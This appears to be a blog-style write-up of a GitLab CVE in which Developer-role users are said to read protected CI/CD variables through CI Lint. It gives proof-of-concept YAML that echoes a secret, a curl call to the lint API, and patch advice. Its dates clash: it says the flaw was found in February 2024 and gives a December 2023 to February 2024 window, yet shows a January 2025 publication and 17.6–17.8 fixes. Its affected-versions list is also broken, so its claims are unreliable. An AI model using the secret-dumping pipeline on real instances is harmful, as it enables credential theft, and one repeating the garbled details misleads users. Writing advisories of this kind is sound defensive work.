In February 2024, a critical vulnerability (CVE-2024-11931) was found affecting multiple versions of GitLab Community Edition (CE) and Enterprise Edition (EE). If you care about software supply chains or run your own GitLab instance, it’s important to understand this bug.
This post explains the vulnerability in plain English, then walks you through how it works, including code snippets, and provides defense recommendations. If you want to read more, original sources are linked at the bottom.
What Is CVE-2024-11931?
CVE-2024-11931 describes a security issue where users with the "Developer" role in a GitLab project could access protected CI/CD variables they shouldn’t see or export. This is possible through the "CI Lint" feature in certain circumstances.
17.8 prior to 17.8.1
Severity: High (can expose secrets like credentials, API keys, and tokens)
## What Are Protected CI/CD Variables?
In GitLab, Protected Variables are secrets (like passwords, access tokens, private keys) that should only be available to specific jobs on protected branches/tags.
Normal users shouldn’t be able to read these variables, only the CI jobs when running the right pipelines.
The CI Lint Feature
"CI Lint" is a tool in GitLab that validates your .gitlab-ci.yml. It simulates running a pipeline and can show how jobs will execute.
But in vulnerable GitLab versions, the simulated run could leak protected variables if the user crafting the pipeline had a Developer role. This lets someone write a job that exfiltrates secrets during CI lint validation.
Attacker is a Developer on the target repository.
- Project has protected CI/CD secrets defined (let's call one PROTECTED_SECRET).
The attacker creates a .gitlab-ci.yml that tries to dump the value of a protected variable
variables:
  DUMP_SECRET: "${PROTECTED_SECRET}"
exfiltrate_job:
  script:
    - echo "$DUMP_SECRET"
3. Using the CI Lint Endpoint
The attacker goes to the "CI Lint" UI, submits this YAML, and presses "Simulate pipeline".
The secret's value is resolved in the simulated job output!
- The attacker can read the secret right in the CI Lint interface or from the API if scripting the attack.
The CI Lint endpoint can be hit directly (replace values as needed)
curl --header "PRIVATE-TOKEN: <your_access_token>" \
  --data-urlencode "content=$(cat .gitlab-ci.yml)" \
  "https://gitlab.example.com/api/v4/projects/<project_id>/ci/lint";
Attacker submits
variables:
  STEAL_THIS: "${PROTECTED_SECRET}"
exfil:
  script:
    - echo "SECRET: $STEAL_THIS"
Lint output (simplified)
job: exfil
script:
  - echo "SECRET: s3cr3t-passwrd"
They see the value s3cr3t-passwrd where only the runner/build job should.
Why Is This A Big Deal?
- Developers shouldn’t be able to see protected variables. This means credentials can be leaked or abused.
- Secrets like AWS keys, Docker tokens, or production API keys could be stolen, leading to larger security breaches.
Official Fixes Shipped
- GitLab 17.6.4 Security Release
- GitLab 17.7.3 Security Release
- GitLab 17.8.1 Security Release
- GitLab CVE Advisories
CVE Detail:
https://nvd.nist.gov/vuln/detail/CVE-2024-11931
Audit Developer Permissions: Only add trusted people as "Developer".
- Review Your Protected Variables: Rotate secrets if you have suspicious developer activity between December 2023 – February 2024.
- Monitor for Secret Access: Use GitLab audit logs to track CI and user activity around variable access.
Summary
CVE-2024-11931 makes it easy for an insider or malicious developer to grab secrets via the CI Lint tool if your GitLab isn’t patched. This is a real-world risk for teams using GitLab to hold company secrets!
Take the time to update your instance and review your secrets. For more details, always check the official GitLab advisory pages linked above.
Stay safe and keep your secrets secret!
*This writeup is exclusive and original. All code and explanations are provided for educational and defensive purposes only.*
Timeline
Published on: 01/24/2025 03:15:06 UTC
Last modified on: 02/05/2025 21:15:22 UTC
